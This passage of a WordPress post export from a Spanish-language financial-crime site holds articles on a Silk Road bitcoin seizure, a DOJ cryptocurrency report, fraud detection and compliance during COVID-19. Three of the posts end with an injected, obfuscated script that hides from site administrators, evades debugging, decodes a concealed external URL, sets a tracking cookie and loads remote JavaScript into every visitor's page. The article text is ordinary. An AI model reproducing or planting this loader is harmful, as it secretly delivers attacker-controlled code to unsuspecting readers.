fiduciaria o propiedad personal, donde la transferencia de posesi\u00f3n del gobierno puede llevar d\u00edas o incluso meses, la criptomoneda aprovecha el poder de la tecnolog\u00eda para transferir fondos en cuesti\u00f3n de minutos.<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","post_title":"Siete a\u00f1os despu\u00e9s del cierre de Silk Road, EE.UU. logra confiscar US$1.000 millones en Bitcoins","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"siete-anos-despues-del-cierre-de-silk-road-ee-uu-logra-confiscar-us1-000-millones-en-bitcoins","to_ping":"","pinged":"","post_modified":"2025-10-24 17:05:20","post_modified_gmt":"2025-10-24 21:05:20","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25324","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25320,"post_author":"16","post_date":"2020-11-10 11:16:53","post_date_gmt":"2020-11-10 15:16:53","post_content":"<p>A principios de este mes, el Departamento de Justicia de EE.UU., a trav\u00e9s de su grupo de trabajo <b>Cyber Digital Task Force<\/b>, public\u00f3 este informe de orientaci\u00f3n criptogr\u00e1fica titulado\u00a0<a style=\"background-color: #ffffff;\" href=\"https:\/\/www.justice.gov\/ag\/page\/file\/1326061\/download\" target=\"_blank\" rel=\"noopener noreferrer\">\"Criptomoneda: un marco de aplicaci\u00f3n\".<\/a><\/p><p>El grupo de trabajo, establecido en 2018, tiene la tarea de evaluar las amenazas planteadas por los avances tecnol\u00f3gicos. Entre otras cosas, un informe inicial destac\u00f3 a la criptomoneda como una amenaza emergente y recomend\u00f3 un examen m\u00e1s detenido. El informe es la versi\u00f3n m\u00e1s acabada del Departamento de Justicia sobre la criptomoneda hasta el momento y tambi\u00e9n sigue una tendencia global general en una mayor claridad en los marcos regulatorios y de aplicaci\u00f3n en torno a las criptomonedas.<\/p><p>A medida que el uso de la criptomoneda evoluciona y se expande, tambi\u00e9n lo har\u00e1n las oportunidades para cometer delitos y hacer da\u00f1o mediante la explotaci\u00f3n de la tecnolog\u00eda de las criptomonedas, los delincuentes se expanden y perfeccionan las t\u00e9cnicas dise\u00f1adas para evadir la detecci\u00f3n.<\/p><p>Los usos il\u00edcitos de las criptomonedas amenazan no solo la seguridad p\u00fablica, sino tambi\u00e9n la seguridad nacional. Por ejemplo, la criptomoneda puede proporcionar a las organizaciones terroristas una herramienta para eludir las instituciones financieras tradicionales con el fin de obtener, transferir y utilizar fondos para avanzar en sus misiones. El uso de la criptomoneda por parte de los terroristas puede representar las primeras gotas de una tormenta inminente de uso expandido que podr\u00eda desafiar la capacidad de Estados Unidos para interrumpir los recursos financieros que permitir\u00edan a las organizaciones terroristas ejecutar exitosamente sus misiones o expandir sus influencias.<\/p><p>Del mismo modo, la criptomoneda presenta una nueva oportunidad preocupante para que las personas y estados esquiven las sanciones internacionales.<\/p>\t\t\n\t\t\t\t\t\t\t<figure>\n\t\t\t\t\t\t\t\t\t\t<img width=\"640\" height=\"360\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-1024x576.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-1024x576.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-300x169.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-768x432.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-750x422.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-1140x641.png 1140w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping.png 1280w\" sizes=\"(max-width: 640px) 100vw, 640px\" \/>\t\t\t\t\t\t\t\t\t\t\t<figcaption>Ejemplo de Chain Hopping<\/figcaption>\n\t\t\t\t\t\t\t\t\t\t<\/figure>\n\t\t<p><b><u>Desaf\u00edos<\/u><\/b><\/p><p>Este informe concluye en la Parte III con una discusi\u00f3n de los desaf\u00edos actuales que enfrenta el gobierno en la aplicaci\u00f3n de la criptomoneda, particularmente con respecto a los modelos comerciales (empleados por ciertos intercambios, plataformas, quioscos y casinos de criptomonedas) y a la actividad (como mixing\u201d and \u201ctumbling,\u201d \u201cchain hopping,\u201d y ciertos casos de arbitraje jurisdiccional) que pueden facilitar la actividad delictiva.<\/p><p>Esos desaf\u00edos se corresponden claramente con el conjunto m\u00e1s amplio de desaf\u00edos que presentan muchas tecnolog\u00edas emergentes para las agencias de aplicaci\u00f3n de la ley.<\/p><p><b><u>ICOs <\/u><\/b><\/p><p>Las tecnolog\u00edas relacionadas con Blockchain son complejas y dif\u00edciles de entender; por ejemplo, los m\u00e9todos para ejecutar delitos como los esquemas pump and dump (de bombeo y descarga) est\u00e1n cambiando y requieren que los investigadores se familiaricen con todo, desde c\u00f3mo se realizan las ofertas iniciales de monedas (Initial Coin Offerings, ICO) hasta c\u00f3mo las personas con conocimientos tecnol\u00f3gicos se comunican en aplicaciones de comunicaciones especializadas. Estas tecnolog\u00edas emergentes no solo son dif\u00edciles de asimilar, sino que los mercados relevantes tambi\u00e9n evolucionan r\u00e1pidamente. El auge de las ICO de hace unos a\u00f1os ha dado paso al crecimiento exponencial de los mercados de finanzas descentralizadas en los \u00faltimos meses, con todas las complejidades y dificultades asociadas para los agentes de ley.<\/p><p><b>Blockchain<\/b><\/p><p>La naturaleza global del ecosistema <i>blockchain<\/i> agrega una capa adicional de complejidad. El crimen organizado se ha extendido m\u00e1s all\u00e1 de las fronteras nacionales durante a\u00f1os, pero <i>blockchain<\/i> lleva esta globalizaci\u00f3n a otro nivel. Las partes realizan transacciones y transferencias entre continentes en cuesti\u00f3n de minutos, y la infraestructura digital de la propia cadena de bloques casi siempre trasciende los l\u00edmites territoriales. Adem\u00e1s de la dificultad, algunos de los intercambios de criptoactivos m\u00e1s grandes operan fuera de Estados Unidos, y muchos todav\u00eda requieren nada m\u00e1s que una direcci\u00f3n de correo electr\u00f3nico no verificada antes de permitir que una persona comience a operar.<\/p><p><b><u>Peer to Peer<\/u><\/b><\/p><p>Finalmente, las plataformas descentralizadas, los cambistas peer-to-peer (entre pares) y las criptomonedas con anonimato mejorado que utilizan cadenas de bloques privadas o no p\u00fablicas pueden ocultar a\u00fan m\u00e1s las transacciones financieras del escrutinio leg\u00edtimo. Los desaf\u00edos son importantes.<\/p>\t\t\n\t\t\t\t\t\t\t<figure>\n\t\t\t\t\t\t\t\t\t\t<img width=\"640\" height=\"351\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis-1024x561.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis-1024x561.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis-300x164.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis-768x421.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis.png 1216w\" sizes=\"(max-width: 640px) 100vw, 640px\" \/>\t\t\t\t\t\t\t\t\t\t\t<figcaption>Ejemplo de una transacci\u00f3n il\u00edcita a trav\u00e9s del an\u00e1lisis de blockchain<\/figcaption>\n\t\t\t\t\t\t\t\t\t\t<\/figure>\n\t\t<p><b><u>Investigaciones y procesamientos<\/u><\/b><\/p><p>A pesar de los muchos desaf\u00edos, el Departamento de Justicia ha investigado y procesado delincuentes que han usado criptomonedas para facilitar u ocultar sus actividades il\u00edcitas, EE.UU. ha entablado acciones contra personas y empresas que no han cumplido con sus obligaciones legales para evitar actividades il\u00edcitas. En casos particulares, el Departamento de Justicia ha procedido contra la propia criptomoneda il\u00edcita, confiscando esos activos virtuales y elimin\u00e1ndolos del flujo del comercio internacional, independientemente de su capacidad para identificar o aprehender a los actores que los utilizaron.<\/p><p>El Departamento de Justicia se\u00f1al\u00f3 que est\u00e1 comprometido a fortalecer sus asociaciones clave con la promoci\u00f3n de experiencia y conocimiento en materia de aplicaci\u00f3n de la ley; fomentando la cooperaci\u00f3n con las autoridades estatales; mejorando la cooperaci\u00f3n internacional; promoviendo una regulaci\u00f3n internacional integral y coherente; y llevando a cabo actividades de educaci\u00f3n y divulgaci\u00f3n del sector privado.<\/p><p>Para promover la seguridad todas las partes interesadas, desde la industria privada hasta los reguladores, funcionarios y usuarios individuales de criptomonedas, deber\u00e1n tomar medidas para garantizar que la criptomoneda no se utilice como plataforma para la ilegalidad. Se\u00f1ala el Departamento de Justicia que para que la criptomoneda adquiera su verdadero potencial transformador, es imperativo que se aborden estos riesgos.<\/p>","post_title":"Informe del DOJ sobre Criptomonedas: un marco de aplicaci\u00f3n","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"informe-del-doj-sobre-criptomonedas-un-marco-de-aplicacion","to_ping":"","pinged":"","post_modified":"2020-11-10 11:21:26","post_modified_gmt":"2020-11-10 15:21:26","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25320","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25317,"post_author":"16","post_date":"2020-11-10 09:49:27","post_date_gmt":"2020-11-10 13:49:27","post_content":"<p><b><img src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/5Steps-Small-10NOV2020.jpg\" alt=\"\" width=\"232\" height=\"300\" \/><\/b><\/p><p><b>Por Terry Luttrell, CAMS-Audit<\/b><\/p><p>A medida que 2020 llega a su fin, las empresas y\u00a0comunidades de todo el mundo no pueden negar los efectos de la pandemia de COVID-19. La devastaci\u00f3n financiera, as\u00ed como la p\u00e9rdida de vidas y el deterioro de la salud, han dejado su sello. Hist\u00f3ricamente, los desastres naturales de cualquier tipo han sacado a los estafadores a la luz para exponerlos ante lo que parece ser un grupo interminable de v\u00edctimas vulnerables.<\/p><p>La Oficina Federal de Investigaciones de EE.UU. (FBI) se\u00f1ala que cuanto m\u00e1s catastr\u00f3fico es el evento, m\u00e1s activos son los estafadores. COVID-19 es posiblemente el peor desastre mundial en d\u00e9cadas, y se ha detectado un aumento del fraude a gran escala. Si bien algunos de los esquemas de fraude no son nuevos, se han transformado para aprovecharse de comunidades que ya se enfrentan a una situaci\u00f3n sin precedentes. \u00bfC\u00f3mo se est\u00e1 moviendo su organizaci\u00f3n para fortalecer su programa antifraude para mitigar estos mayores riesgos?<\/p><p>Seg\u00fan las estad\u00edsticas hist\u00f3ricas de desastres, el Departamento de Justicia de EE.UU. espera que el fraude generalizado aumente entre un 10% y un 12% debido al COVID-19. En una encuesta reciente realizada por la Asociaci\u00f3n de Examinadores de Fraude Certificados, el 77% de los miembros encuestados dijo que ha observado un aumento en el nivel general de fraude, y un tercio se\u00f1al\u00f3 que este aumento ha sido significativo. Eso es notablemente m\u00e1s alto que en mayo de 2020, cuando el 68% de los encuestados hab\u00eda visto un aumento en el fraude, y una cuarta parte calific\u00f3 el aumento como significativo.<\/p><p>La pandemia ha creado la necesidad de que las organizaciones examinen sus programas antifraude para determinar si existe una mayor exposici\u00f3n al riesgo que se deba abordar. La ayuda financiera que generalmente sigue a los desastres conduce, lamentablemente, a un mayor riesgo de fraude. Cuantos m\u00e1s fondos para ingresan a la econom\u00eda, ya sea por huracanes, incendios forestales o una pandemia, mayor ser\u00e1 la presencia de delincuentes. Por lo tanto, si bien COVID-19 es el detonante actual de la tendencia al alza del fraude, las organizaciones deben posicionarse para evitar aumentos futuros. Como individuos, tenemos experiencia; sabemos qu\u00e9 hacer para disuadir el fraude y mitigar el riesgo. Sin embargo, combatir los riesgos y anticipar la evoluci\u00f3n de los riesgos en el entorno actual requiere un esfuerzo concertado de las organizaciones para reforzar sus programas antifraude.<\/p><p><strong><a style=\"background-color: #ffffff; color: #993300; text-decoration: underline;\" href=\"https:\/\/www.abrigo.com\/l\/5-steps-to-stronger-fraud-mitigation\/?utm_source=acfcs&utm_medium=affiliate&utm_campaign=october_whitepaper\" target=\"_blank\" rel=\"noopener noreferrer\">Descargue el documento completo<\/a><\/strong>\u00a0(en ingl\u00e9s) para conocer los 5 pasos para mejorar su programa de detecci\u00f3n de fraude durante la pandemia COVID-19.<\/p><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","post_title":"5 pasos para un programa de detecci\u00f3n de fraude m\u00e1s s\u00f3lido","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"5-pasos-para-un-programa-de-deteccion-de-fraude-mas-solido","to_ping":"","pinged":"","post_modified":"2025-10-24 17:05:47","post_modified_gmt":"2025-10-24 21:05:47","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25317","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25307,"post_author":"16","post_date":"2020-11-02 16:18:07","post_date_gmt":"2020-11-02 20:18:07","post_content":"El coronavirus no discrimina y afecta a todos, independientemente de la clase social, situaci\u00f3n econ\u00f3mica, y un sin\u00famero de otros factores. Adem\u00e1s, lleg\u00f3 para quedarse por un largo tiempo y nos ha cambiado la forma de trabajo, cre\u00e1ndonos una \u201cnueva normalidad\u201d.\n\nEl COVID-19 ha generado la aparici\u00f3n de riesgos emergentes relacionados con toda clase de vulnerabilidades, desde las donaciones; hasta el aumento del contrabando, la adulteraci\u00f3n y la falsificaci\u00f3n de medicamentos e insumos m\u00e9dicos; el incremento de los delitos contra la administraci\u00f3n p\u00fablica como el fraude a subvenciones y la celebraci\u00f3n indebida de contratos; el aumento en la comisi\u00f3n de delitos contra el orden econ\u00f3mico social como el acaparamiento, el agiotaje y el p\u00e1nico econ\u00f3mico y el aumento en la comisi\u00f3n de delitos inform\u00e1ticos, solo por nombrar algunos\n\nhttps:\/\/youtu.be\/FJO5EozUmNU\n\n*Juan Pablo Rodr\u00edguez C\n\n**Ren\u00e9 M. Castro V\n\n Primero debemos ser claros en cuanto al t\u00e9rmino \u201ccompliance\u201d en Colombia, una aclaraci\u00f3n que tambi\u00e9n es v\u00e1lida para un amplio grupo de otros pa\u00edses (de Latinoam\u00e9rica y tambi\u00e9n fuera de la regi\u00f3n). La funci\u00f3n establecida en la legislaci\u00f3n colombiana de <b><u>Oficial de Cumplimiento<\/u><\/b> es dirigida al tema de lavado de activos y financiaci\u00f3n del terrorismo. De otra parte, la Ley 964 de 2005, conocida como la Ley del Mercado de Valores, establece para unos sectores espec\u00edficos de la econom\u00eda la obligatoriedad de contar con un <b><u>Contralor Normativo<\/u><\/b>, cuyas funciones se asemejan m\u00e1s a lo que se conoce como <b><u>Compliance Officer<\/u><\/b> en otros pa\u00edses.\n\nA partir de la Circular Externa 026 de 2008 la Superintendencia Financiera de Colombia se cre\u00f3 el <b><u>Sistema de Administraci\u00f3n del Riesgo de Lavado de Activos y Financiaci\u00f3n del Terrorismo (SARLAFT)<\/u><\/b> en el que se instituye al Oficial de Cumplimiento como parte de integral la estructura organizacional.\n\nAsimismo, la Circular Externa No. 100-000003 de 2016 de la Superintendencia de Sociedades, que reglamenta la Ley 1778 de 2016, conocida como la <b><u>Ley Antisoborno<\/u><\/b>, establece la obligatoriedad para algunos sectores econ\u00f3micos de nombrar un <b><u>Oficial de Cumplimiento<\/u><\/b>, que supervise el <b><u>Sistema de Gesti\u00f3n de Riesgo de Soborno Trasnacional.<\/u><\/b>\n\nDe la misma forma, la Circular Externa No. 100-000006 de 2016 de la Superintendencia de Sociedades, que regula el <b><u>Sistema de Autocontrol y Gesti\u00f3n del Riesgo de Lavado de Activos y Financiaci\u00f3n del Terrorismo (SAGRLAFT),<\/u><\/b> establece la obligatoriedad para algunos sectores econ\u00f3micos de nombrar un <b><u>Oficial de Cumplimiento<\/u><\/b>, que supervise el <b><u>Sistema de Gesti\u00f3n de Riesgo de Soborno Trasnacional<\/u><\/b>.\n\nPor lo anterior, tenemos en Colombia tres figuras:\n<p style=\"text-indent: -.25in; mso-list: l1 level1 lfo1;\">1.       Oficial de Cumplimiento para SARLAFT (Sistema de Administraci\u00f3n de Riesgo de Lavado de Activos y Financiaci\u00f3n del Terrorismo).<\/p>\n<p style=\"text-indent: -.25in; mso-list: l1 level1 lfo1;\">2.       Oficial de Cumplimiento para SARS (Sistema de Administraci\u00f3n de Riesgo de Soborno).<\/p>\n<p style=\"text-indent: -.25in; mso-list: l1 level1 lfo1;\">3.       Contralor Normativo.<\/p>\nLas funciones de los casos mencionados se encuentran definidas en las normas respectivas, sin perder de vista que su alcance depende del supervisor y de los riesgos que debe contener, como es el caso del riesgo de lavado de activos y la financiaci\u00f3n del terrorismo; el riesgo de soborno y; los riesgos legales en las comisionistas de bolsa.\n\nEl coronavirus no discrimina y afecta a todos, independientemente de la clase social, situaci\u00f3n econ\u00f3mica, etc., adem\u00e1s, lleg\u00f3 para quedarse por un largo tiempo y nos ha cambiado la forma de trabajo, cre\u00e1ndonos una \u201cnueva normalidad\u201d, lo cual puede ser cotejado en los estudios cient\u00edficos sobre la materia realizados por la Universidad John Hopkins (1), el Instituto de Salud Global de Barcelona (2) y la Organizaci\u00f3n Mundial de la Salud (3).\n\nEl COVID-19 ha generado la aparici\u00f3n de riesgos emergentes relacionados con las donaciones; la necesidad de contar con modelos de riesgo diferenciales; y desde el punto de vista penal, el aumento del contrabando, la adulteraci\u00f3n y la falsificaci\u00f3n de medicamentos e insumos m\u00e9dicos; el aumento en los delitos contra la administraci\u00f3n p\u00fablica como el fraude a subvenciones y la celebraci\u00f3n indebida de contratos; el aumento en la comisi\u00f3n de delitos contra el orden econ\u00f3mico social como el acaparamiento, el agiotaje y el p\u00e1nico econ\u00f3mico y el aumento en la comisi\u00f3n de delitos inform\u00e1ticos.\n\nPasando al plano empresarial, y resaltando que no es el \u00fanico de los aspectos que debe tener en cuenta un <b><u>Oficial de Cumplimiento<\/u><\/b>, muchas organizaciones de todo el mundo ahora se ven obligadas a buscar formas creativas para enfrentar sus propios desaf\u00edos de administrar equipos descentralizados cuando el trabajo en casa o el distanciamiento social entran en acci\u00f3n, como es el caso de la protecci\u00f3n de datos y la privacidad de la informaci\u00f3n, ya que trabajar en forma remota genera varios riesgos que los profesionales de cumplimiento deben reconocer e intentar mitigar. En consecuencia, se presentan a continuaci\u00f3n los cuatro m\u00e1s importantes:\n<ol>\n \t<li>En primer lugar, los empleados pueden estar utilizando su propio equipo de tecnolog\u00eda de informaci\u00f3n que podr\u00eda compartir con otros miembros de la familia, quienes tambi\u00e9n est\u00e1n confinados en la misma casa. Esto aumenta la posibilidad de que los ni\u00f1os, que a menudo son m\u00e1s conocedores de tecnolog\u00eda de informaci\u00f3n, pero menos conscientes de los riesgos que sus padres, accedan a sitios web y material que no est\u00e1 permitido dentro de los l\u00edmites de la oficina y eludan o ignoran los protocolos de seguridad habituales.<\/li>\n \t<li>En segundo lugar, el equipo de tecnolog\u00eda puede ser viejo y no haber sido instalado regularmente con las \u00faltimas actualizaciones de seguridad que normalmente alertar\u00edan a los usuarios sobre posibles malware o detectar virus. Como resultado, los incidentes de ciberataques y violaciones de datos podr\u00edan aumentar a medida que aumenta el n\u00famero de correos electr\u00f3nicos sospechosos y estafas de phishing.<\/li>\n \t<li>En tercer lugar, las organizaciones pueden encontrarse confiando en aplicaciones, software y herramientas de colaboraci\u00f3n para video o teleconferencias, que en el pasado no quisieron adoptar debido a temores de seguridad inform\u00e1tica y de cumplimiento.<\/li>\n \t<li>Cuarto, en industrias altamente reguladas, como los servicios financieros, es especialmente importante que las organizaciones recopilen, almacenen y archiven todas las comunicaciones de los empleados para garantizar su cumplimiento y para su uso en cualquier investigaci\u00f3n futura potencial. Las funciones de cumplimiento deber\u00e1n encontrar una manera de lograr esto, incluso mientras la fuerza laboral pueda estar trabajando de forma remota y en diferentes plataformas y dispositivos.<\/li>\n<\/ol>\n Si una empresa se enfrenta una interrupci\u00f3n de la cadena de suministro o de las adquisiciones durante esta crisis, existe la posibilidad de que esta se vea presionada para involucrar a nuevos proveedores sin llevar a cabo el nivel adecuado de debida diligencia.\n\nDe los ejemplos mencionados, se pueden desprender las siguientes recomendaciones para los Oficiales de Cumplimiento:\n\n\u2022             Revisar todos los contratos de nuevos proveedores para garantizar que se incorporen los t\u00e9rminos legales apropiados.\n\n\u2022             Revisar las facturas y pagos de proveedores por cualquier se\u00f1al de alerta o anomal\u00edas, y monitorear la conducta para asegurarse de que cumpla con los requisitos reglamentarios y contractuales aplicables.\n\n\u2022             Aplicar un modelo de diligencia debida de terceros diferencial a las contrapartes de acuerdo con su nivel de riesgo.\n\n\u2022             Validar si es necesario la modificaci\u00f3n de pol\u00edticas, procedimientos y controles para responder a los desaf\u00edos de la pandemia.\n\n\u2022             Documentarse y comunicar tanto al interior de la organizaci\u00f3n como a sus contrapartes externas los cambios que se hayan realizado a las pol\u00edticas, procedimientos y controles respectivos.\n\n\u2022             Conservar los soportes documentales de la diligencia debida en una plataforma electr\u00f3nica o base de datos adecuada, para que el cumplimiento de los procedimientos pueda ser auditado posteriormente.\n\nPor \u00faltimo, el hecho de que la mayor parte del negocio funcione en forma remota no significa que no tengan que cumplir con las reglas, solo significa que este proceso podr\u00eda ser un poco m\u00e1s desafiante y lento, por lo que se debe contarse con un Plan de Continuidad del Negocio (ISO 223101 de 2012) en el que la funci\u00f3n del Oficial de Cumplimiento es vital a fin de validar que se lleven a cabo cambios que sean necesarios y garanticen que las funciones esenciales puedan continuar durante y despu\u00e9s de la pandemia.\n\n <b>*Juan Pablo Rodr\u00edguez C.<\/b>\n\nAbogado Penalista\n\nEscritor, conferencista y consultor internacional.\n\nCertified Lead Auditor y Lead Implementer en ISO 37001 Gesti\u00f3n Antisoborno, PECB, 2020\n\nCertified Professional in Anti-Money Laundering \u2013 CPAML de FIBA (Florida International Bankers Association).\n\nCertified on Governance, Risk Management and Compliance Professional (GRCP) y GRC Fundamentals de Open Compliance and Ethics Group (OCEG), 2016\n\nPresidente y Socio de RICS Management.\n\njrodriguez@ricsmanagement.com\n\n <b>**Ren\u00e9 M. Castro V.<\/b>\n\nContador P\u00fablico con Magister en Contabilidad y Auditor\u00eda de Gesti\u00f3n de la Universidad de Santiago de Chile.\n\nEscritor, conferencista y consultor internacional.\n\nCertified Trainer y Lead Compliance Manager en ISO 19600 Gesti\u00f3n de Cumplimiento, PECB, 2020\n\nCertified on Financial Services and Market Regulation, London School of Economics, (LSE), 2016\n\nCertified on Corporate Compliance and Ethics, New York University, 2015.\n\nVice-Presidente & Socio RICS Management\n\nrcastro@ricsmanagement.com\n\n <u>Referencias<\/u>\n<p style=\"text-indent: -.25in; mso-list: l0 level1 lfo3;\">1-        https:\/\/coronavirus.jhu.edu\/map.html<\/p>\n<p style=\"text-indent: -.25in; mso-list: l0 level1 lfo3;\">2-        https:\/\/www.isglobal.org\/covid-19-novedades-cientificas<\/p>\n<p style=\"text-indent: -.25in; mso-list: l0 level1 lfo3;\">3.         https:\/\/www.who.int\/es\/emergencies\/diseases\/novel-coronavirus-2019\/advice-for-public\/q-a-coronaviruses<\/p><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","post_title":"El Compliance (Cumplimiento) en la nueva normalidad, durante y despu\u00e9s del Covid-19","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"el-compliance-cumplimiento-en-la-nueva-normalidad-durante-y-despues-del-covid-19","to_ping":"","pinged":"","post_modified":"2025-10-24 17:06:04","post_modified_gmt":"2025-10-24 21:06:04","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25307","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25304,"post_author":"16","post_date":"2020-11-02 15:17:00","post_date_gmt":"2020-11-02 19:17:00","post_content":"<p>Un cambio propuesto en las obligaciones ALD\/CFT en EE.UU. puede llegar a reducir el monto de las transacciones que obliga a enviar informaci\u00f3n sobre los remitentes y receptores de transferencias financieras internacionales a otras instituciones, lo que podr\u00eda agregar m\u00e1s carga de cumplimiento a los bancos que procesan dichos pagos.<\/p><p>FinCEN, la unidad de informaci\u00f3n financiera de EE.UU., y la Junta de la Reserva Federal est\u00e1n buscando comentarios sobre una enmienda que requerir\u00eda que las instituciones financieras recopilen, retengan y transmitan cierta informaci\u00f3n relacionada con transferencias internacionales y transferencias de fondos superiores a US$ 250.<\/p><p>Actualmente, bajo la Ley de Secreto Bancario de EE. UU., los bancos y las instituciones financieras no bancarias de EE.UU. obtienen, conservan y transmiten dicha informaci\u00f3n para las transacciones nacionales e internacionales de US$ 3.000 o m\u00e1s, incluyendo la identidad y la informaci\u00f3n de 